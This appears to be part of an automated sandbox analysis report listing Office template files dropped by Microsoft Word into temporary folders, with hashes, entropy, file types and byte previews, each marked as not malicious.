SSDEEP:	6:Q+sxnxUXeMWMluRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnycMlMymD0wbnKNAH/lMz1
MD5:	133D126F0DE2CC4B29ECE38194983265
SHA1:	D8D701298D7949BE6235493925026ED405290D43
SHA-256:	08485EBF168364D846C6FD55CD9089FE2090D1EE9D1A27C1812E1247B9005E68
SHA-512:	75D7322BE8A5EF05CAA48B754036A7A6C56399F17B1401F3F501DA5F32B60C1519F2981043A773A31458C3D9E1EF230EC60C9A60CAC6D52FFE16147E2E0A9830
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.a.s.i.s...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD3B15.tmp\Dividend.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	570901
Entropy (8bit):	7.674434888248144
Encrypted:	false
SSDEEP:	6144:D2tTXiO/3GH5SkPQVAqWnGrkFxvay910UUTWZJarUv9TA0g8:kX32H+VWgkFxSgGTmarUv9T
MD5:	D676DE8877ACEB43EF0ED570A2B30F0E
SHA1:	6C8922697105CEC7894966C9C5553BEB64744717
SHA-256:	DF012D101DE808F6CD872DFBB619B16732C23CF4ABC64149B6C3CE49E9EFDA01
SHA-512:	F40BADA680EA5CA508947290BA73901D78DE79EAA10D01EAEF975B80612D60E75662BDA542E7F71C2BBA5CA9BA46ECAFE208FD6E40C1F929BB5E407B10E89FBD
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCD3B15.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.5459495297497368
Encrypted:	false
SSDEEP:	6:Q+sxnxUXvBAuRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnypJymD0wbnKNAH/lMz1
MD5:	76340C3F8A0BFCEDAB48B08C57D9B559
SHA1:	E1A6672681AA6F6D525B1D17A15BF4F912C4A69B
SHA-256:	78FE546321EDB34EBFA1C06F2B6ADE375F3B7C12552AB2A04892A26E121B3ECC
SHA-512:	49099F040C099A0AED88E7F19338140A65472A0F95ED99DEB5FA87587E792A2D11081D59FD6A83B7EE68C164329806511E4F1B8D673BEC9074B4FF1C09E3435D
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .D.i.v.i.d.e.n.d...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD7D37.tmp\BracketList.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4026
Entropy (8bit):	7.809492693601857
Encrypted:	false
SSDEEP:	96:VpDCBFLhxaUGm5EWA07yNdKH1FQpy8tnX8Iz3b7TrT502+fPD:VpDYFFRMNU+RtXzLf35t+3D
MD5:	5D9BAD7ADB88CEE98C5203883261ACA1
SHA1:	FBF1647FCF19BCEA6C3CF4365C797338CA282CD2
SHA-256:	8CE600404BB3DB92A51B471D4AB8B166B566C6977C9BB63370718736376E0E2F
SHA-512:	7132923869A3DA2F2A75393959382599D7C4C05CA86B4B27271AB9EA95C7F2E80A16B45057F4FB729C9593F506208DC70AF2A635B90E4D8854AC06C787F6513D
Malicious:	false
Preview:	PK........YnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........bnB;?.......f......._rels/.rels...J.1.._%..f....m/.,x...&.lt.dV.y.\|.."v....q..\|......r..F..)..;.T5g.eP..O..Z.^-.8...<.Y....Q.."....D.%.!9.R&#".'0(.u}).!..l....b..J..rr....P.L.w..0.-......A..w..x.7U...Fu<mT.....^s...F./ ..( .4L..`.....}...O..4.L...+H.z...m..j[].=........oY}.PK........J.L6...m....,.......diagrams/layout1.xml.X.n.8.}N.....PG.............wZ.,.R.%.K...J.H]....y.3..9...O..5."J.1.\.1....Q....z......e.5].)...$b.C)...Gx!...J3..N..H...s....9.~...#..$...W.8..I`\|..0xH}......L.\|..(V;..1...kF..O=...j...G.X.....T.,d>.w.Xs.......3L.r..er\o..D..^....O.F.{:.>.R'....Y-...B.P.;....X.'c...{x.M7..><l.1.w..{].46.>.z.E.J.......G......Hd..$..7....E.

C:\Users\user\AppData\Local\Temp\TCD7D37.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	250
Entropy (8bit):	3.4916022431157345
Encrypted:	false
SSDEEP:	6:fxnxUXsAl8xoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny8A8xoGHmD0+dAH/luWvv
MD5:	1A314B08BB9194A41E3794EF54017811
SHA1:	D1E70DB69CA737101524C75E634BB72F969464FF
SHA-256:	9025DD691FCAD181D5FD5952C7AA3728CD8A2CAF20DEA14930876419BED9B379
SHA-512:	AB29C8674A85711EABAE5F9559E9048FE91A2F51EB12D5A46152A310DE59F759DF8C617DA248798A7C20F60E26FBB1B0FC8DB47C46B098BCD26CF8CE78989ACA
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.r.a.c.k.e.t.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD7D38.tmp\CircleProcess.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	16806
Entropy (8bit):	7.9519793977093505
Encrypted:	false
SSDEEP:	384:eSMjhqgJDGwOzHR3iCpK+QdLdfufFJ9aDn9LjDMVAwHknbz7OW:eSkhqglGwERSAHQdLhDn9AKokv7H
MD5:	950F3AB11CB67CC651082FEBE523AF63
SHA1:	418DE03AD2EF93D0BD29C3D7045E94D3771DACB4
SHA-256:	9C5E4D8966A0B30A22D92DB1DA2F0DBF06AC2EA75E7BB8501777095EA0196974
SHA-512:	D74BF52A58B0C0327DB9DDCAD739794020F00B3FA2DE2B44DAAEC9C1459ECAF3639A5D761BBBC6BDF735848C4FD7E124D13B23964B0055BB5AA4F6AFE76DFE00
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........Ul.<..<"I5...&......diagrams/layout1.xml.}.r.I..s........~Y.f.gzfv......E."w.K..J5m.e...4.0..Q... A.!...%...<...3.......O.......t~.u{...5.G......?,.........N......L......~.:....^,..r=./~7_..8............o.y......oo.3.f........f.......r.7../....qrr.v9.......,?..._O.....?9.O~]..zv.I'.W..........;..\..~....../........?~..n.....\}pt.........b,~...;>.=;>:..u.....?.......2]..]....i......9..<.p..4D..

C:\Users\user\AppData\Local\Temp\TCD7D38.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	254
Entropy (8bit):	3.4720677950594836
Encrypted:	false
SSDEEP:	6:fxnxUXOu9+MlWlk2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnycMlWlzGHmD0+dAH/luWvv
MD5:	D04EC08EFE18D1611BDB9A5EC0CC00B1
SHA1:	668FF6DFE64D5306220341FC2C1353199D122932
SHA-256:	FA60500F951AFAF8FFDB6D1828456D60004AE1558E8E1364ADC6ECB59F5450C9
SHA-512:	97EBCCAF64FA33238B7CFC0A6D853EFB050D877E21EE87A78E17698F0BB38382FCE7F6C4D97D550276BD6B133D3099ECAB9CFCD739F31BFE545F4930D896EEC3
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .C.i.r.c.l.e.P.r.o.c.e.s.s...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD7D39.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.484503080761839
Encrypted:	false
SSDEEP:	6:fxnxUXGdQ1MecJZMlWlk2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny2dQ98MlWlzGHmD0+dAH/luWvv
MD5:	1309D172F10DD53911779C89A06BBF65
SHA1:	274351A1059868E9DEB53ADF01209E6BFBDFADFB
SHA-256:	C190F9E7D00E053596C3477455D1639C337C0BE01012C0D4F12DFCB432F5EC56
SHA-512:	31B38AD2D1FFF93E03BF707811F3A18AD08192F906E36178457306DDAB0C3D8D044C69DE575ECE6A4EE584800F827FB3C769F98EA650F1C208FEE84177070339
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .I.n.t.e.r.c.o.n.n.e.c.t.e.d.B.l.o.c.k.P.r.o.c.e.s.s...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD7D39.tmp\InterconnectedBlockProcess.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	9191
Entropy (8bit):	7.93263830735235
Encrypted:	false
SSDEEP:	192:oeAMExvPJMg+yE+AfJLi3+Xoj7F3sPgMG61J88eDhFWT7hFNsdJtnLYJ7tSh:v2d+hnfJLi3+4ja4WqhFWT7FsdHMA
MD5:	08D3A25DD65E5E0D36ADC602AE68C77D
SHA1:	F23B6DDB3DA0015B1D8877796F7001CABA25EA64
SHA-256:	58B45B9DBA959F40294DA2A54270F145644E810290F71260B90F0A3A9FCDEBC1
SHA-512:	77D24C272D67946A3413D0BEA700A7519B4981D3B4D8486A655305546CE6133456321EE94FD71008CBFD678433EA1C834CFC147179B31899A77D755008FCE489
Malicious:	false
Preview:	PK.........]w>....<...5.......diagrams/layout1.xmlz........].r.F.}......1w`.J..'.......w..Dn. d....~........pw...O.......s...?...p7.t>e.r<.]u.e..d..\|8..\uo.......K...._.Y..E6.\|..y;........y.*/:o./...:[.o.+/.....?.....Z.?..s..d}...S.`...b.^o9.e.ty9_d...y>M.....7...e....."....<.v.u...e:].N.t....a....0..}..bQ.Y..>.~..~...U.\|..Ev.....N...bw....{...O..Y.Y.&........A.8Ik...N.Z.P.[}t........\|m...E..v..,..6........_?..."..K<.=x....$..%@.e..%....$=F..G..e........<F..G51..;......=...e.e.q..d......A...&9'.N.\%.=N.Z.9.s......y.4.Q.c......\|8.......Eg.:.ky.z.h.......).O...mz...N.wy.m...yv....~8.?Lg..o.l.y:.....z.i..j.irxI.w...r.......\|.=....s};.\u.{t;i~S.......U7..mw...<.vO...M.o...W.U.....}.`V<\|..%....l..`>]..".].I.i.N..Z..~Lt.........}?..E~:..>$......x...%.........N....'C.m.=...w.=.Y...+'M.].2 >.]_~...'.?...:....z.O..Y......6..5...sj?.....).B..>.3...G...p.9.K!..[H..1$v../...E V..?`....+[...C......h..!.QI5....<.>...A.d.......

C:\Users\user\AppData\Local\Temp\TCD7D4B.tmp\APASixthEditionOfficeOnline.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	333258
Entropy (8bit):	4.654450340871081
Encrypted:	false
SSDEEP:	6144:ybW83Zb181+MKHZR5D7H3hgtfL/8mIDbEhPv9FHSVsioWUyGYmwxAw+GIfnUNv5J:i
MD5:	5632C4A81D2193986ACD29EADF1A2177
SHA1:	E8FF4FDFEB0002786FCE1CF8F3D25F8E9631E346
SHA-256:	06DE709513D7976690B3DD8F5FDF1E59CF456A2DFBA952B97EACC72FE47B238B
SHA-512:	676CE1957A374E0F36634AA9CFFBCFB1E1BEFE1B31EE876483B10763EA9B2D703F2F3782B642A5D7D0945C5149B572751EBD9ABB47982864834EF61E3427C796
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.. <xsl:output method="html" encoding="us-ascii"/>.... <xsl:template match="*" mode="outputHtml2">.. <xsl:apply-templates mode="outputHtml"/>.. </xsl:template>.... <xsl:template name="StringFormatDot">.. <xsl:param name="format" />.. <xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.. <xsl:when test="$format = ''"></xsl:when>.. <xsl:when test="substring($format, 1, 2) = '%%'">.. <xsl:text>%</xsl:text>.. <xsl:call-template name="StringFormatDot">.. <xsl:with-param name="format" select="substring($format, 3)" />.. <xsl:with-param name=

C:\Users\user\AppData\Local\Temp\TCD7D4B.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.541819892045459
Encrypted:	false
SSDEEP:	6:fxnxUXuqRDA5McaQVTi8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxny+AASZQoNGHmD0wbnKYZAH/lMZqiv
MD5:	C3216C3FC73A4B3FFFE7ED67153AB7B5
SHA1:	F20E4D33BABE978BE6A6925964C57D6E6EF1A92E
SHA-256:	7CF1D6A4F0BE5E6184F59BFB1304509F38E480B59A3B091DBDC43B052D2137CB
SHA-512:	D3B78BE6E7633FF943F5E34063B5EFA4AF239CD49F437227FC7575F6CC65C497B7D6F6A979EA065065BEAF257CB368560B5462542692286052B5C7E5C01755BC
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .A.P.A.S.i.x.t.h.E.d.i.t.i.o.n.O.f.f.i.c.e.O.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD7D5C.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.5081874837369886
Encrypted:	false
SSDEEP:	6:fxnxUXCOzi8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnydONGHmD0wbnKYZAH/lMZqiv
MD5:	8D9B02CC69FA40564E6C781A9CC9E626
SHA1:	352469A1ABB8DA1DC550D7E27924E552B0D39204
SHA-256:	1D4483830710EF4A2CC173C3514A9F4B0ACA6C44DB22729B7BE074D18C625BAE
SHA-512:	8B7DB2AB339DD8085104855F847C48970C2DD32ADB0B8EEA134A64C5CC7DE772615F85D057F4357703B65166C8CF0C06F4F6FD3E60FFC80DA3DD34B16D5B1281
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .g.o.s.t.n.a.m.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD7D5C.tmp\gostname.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	255948
Entropy (8bit):	5.103631650117028
Encrypted:	false
SSDEEP:	6144:gwprAm795vtfb8p4bgWPWEtTmtcRCDPThNPFQwB+26RxlsIBkAgRMBHcTCwsHe5a:kW
MD5:	9888A214D362470A6189DEFF775BE139
SHA1:	32B552EB3C73CD7D0D9D924C96B27A86753E0F97
SHA-256:	C64ED5C2A323C00E84272AD3A701CAEBE1DCCEB67231978DE978042F09635FA7
SHA-512:	8A75FC2713003FA40B9730D29C786C76A796F30E6ACE12064468DD2BB4BF97EF26AC43FFE1158AB1DB06FF715D2E6CDE8EF3E8B7C49AA1341603CE122F311073
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>............<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select=

C:\Users\user\AppData\Local\Temp\TCD7D5D.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	256
Entropy (8bit):	3.464918006641019
Encrypted:	false
SSDEEP:	6:fxnxUXR+EqRGRnRE3QepmlJ0+3FbnKfZObdADxp1RDWlVwv:fxnyB+5RmRGHmD0wbnKYZAH+Vwv
MD5:	93149E194021B37162FD86684ED22401
SHA1:	1B31CAEBE1BBFA529092BE834D3B4AD315A6F8F1
SHA-256:	50BE99A154A6F632D49B04FCEE6BCA4D6B3B4B7C1377A31CE9FB45C462D697B2
SHA-512:	410A7295D470EC85015720B2B4AC592A472ED70A04103D200FA6874BEA6A423AF24766E98E5ACAA3A1DBC32C44E8790E25D4611CD6C0DBFFFE8219D53F33ACA7
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .E.q.u.a.t.i.o.n.s...d.o.t.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.W.D. .D.o.c.u.m.e.n.t. .P.a.r.t.s.}.........

C:\Users\user\AppData\Local\Temp\TCD7D5D.tmp\Equations.dotx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	51826
Entropy (8bit):	5.541375256745271
Encrypted:	false
SSDEEP:	384:erH5dYPCA4t3aEFGiSUDtYfEbi5Ry/AT7/6tHODaFlDSomurYNfT4A0VIwWNS89u:Q6Cbh9tENyWdaFUSYNfZS89/3qtEu
MD5:	2AB22AC99ACFA8A82742E774323C0DBD
SHA1:	790F8B56DF79641E83A16E443A75A66E6AA2F244
SHA-256:	BC9D45D0419A08840093B0BF4DCF96264C02DFE5BD295CD9B53722E1DA02929D
SHA-512:	E5715C0ECF35CE250968BD6DE5744D28A9F57D20FD6866E2AF0B2D8C8F80FEDC741D48F554397D61C5E702DA896BD33EED92D778DBAC71E2E98DCFB0912DE07B
Malicious:	false
Preview:	PK.........R.@c}LN4...........[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG.Cd.n.j.{/......V....c..^^.E.H?H.........B.........<...Ae.l.]..{....mK......B....

C:\Users\user\AppData\Local\Temp\TCD7D9B.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	258
Entropy (8bit):	3.4692172273306268
Encrypted:	false
SSDEEP:	6:fxnxUXcq9DsoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnysmYoGHmD0+dAH/luWvv
MD5:	C1B36A0547FB75445957A619201143AC
SHA1:	CDB0A18152F57653F1A707D39F3D7FB504E244A7
SHA-256:	4DFF7D1CEF6DD85CC73E1554D705FA6586A1FBD10E4A73EEE44EAABA2D2FFED9
SHA-512:	0923FB41A6DB96C85B44186E861D34C26595E37F30A6F8E554BD3053B99F237D9AC893D47E8B1E9CF36556E86EFF5BE33C015CBBDD31269CDAA68D6947C47F3F
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .p.i.c.t.u.r.e.o.r.g.c.h.a.r.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD7D9B.tmp\pictureorgchart.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	7370
Entropy (8bit):	7.9204386289679745
Encrypted:	false
SSDEEP:	192:fYa+ngK2xG6HvLvoUnXxO+blKO1lt2Zg0AV:fYVn8Y6Hv3XxO+8uQZCV
MD5:	586CEBC1FAC6962F9E36388E5549FFE9
SHA1:	D1EF3BF2443AE75A78E9FDE8DD02C5B3E46F5F2E
SHA-256:	1595C0C027B12FE4C2B506B907C795D14813BBF64A2F3F6F5D71912D7E57BC40
SHA-512:	68DEAE9C59EA98BD597AE67A17F3029BC7EA2F801AC775CF7DECA292069061EA49C9DF5776CB5160B2C24576249DAF817FA463196A04189873CF16EFC4BEDC62
Malicious:	false
Preview:	PK........;nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........HnB;..I)....j......._rels/.rels...J.@.._e..&6E.i/.,x..Lw'.j........G..\...................)...Y.3)..`...9r{v!......z...#>5.g.WJ%..T..>'m ..K.T.....j6[(:f.)S....C.mk5^.=:...X......C.... I......&5..e..H.1...).P.cw.kjT......C.......=.....}G!7E.y$.(...}b.........b=.<..^.....U..Y..PK.........^5a.2u............diagrams/layout1.xml..ko.8..+x.t.l..J.n.t.Mnw.x. ....B.t$.,.(&i.....(..d.mY......g.../[.<!.{ap>...L...p....G.9z?...._...e..`..%......8....G!..B8.....o...b.......Q.>\|.......g..O\B...i.h...0B.}.....z...k...H..t~r.v........7o.E....$....Z.........ZDd..~......>......O.3.SI.Y.".O&I....#."._c.$.r..z.g0`...0...q:...^0.EF...%(.Ao$.#.o6..c'....$%.}

C:\Users\user\AppData\Local\Temp\TCD7DAC.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.538396048757031
Encrypted:	false
SSDEEP:	6:fxnxUXcel8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyMelNGHmD0wbnKYZAH/lMZqiv
MD5:	149948E41627BE5DC454558E12AF2DA4
SHA1:	DB72388C037F0B638FCD007FAB46C916249720A8
SHA-256:	1B981DC422A042CDDEBE2543C57ED3D468288C20D280FF9A9E2BB4CC8F4776ED
SHA-512:	070B55B305DB48F7A8CD549A5AECF37DE9D6DCD780A5EC546B4BB2165AF4600FA2AF350DDDB48BECCAA3ED954AEE90F5C06C3183310B081F555389060FF4CB01
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .s.i.s.t.0.2...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD7DAC.tmp\sist02.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	250983
Entropy (8bit):	5.057714239438731
Encrypted:	false
SSDEEP:	6144:JwprA6OS95vtfb8p4bgWPzkhUh9I5/oBRSifJeg/yQzvapSiQhHZeruvoXMUw3im:uP
MD5:	F883B260A8D67082EA895C14BF56DD56
SHA1:	7954565C1F243D46AD3B1E2F1BAF3281451FC14B
SHA-256:	EF4835DB41A485B56C2EF0FF7094BC2350460573A686182BC45FD6613480E353
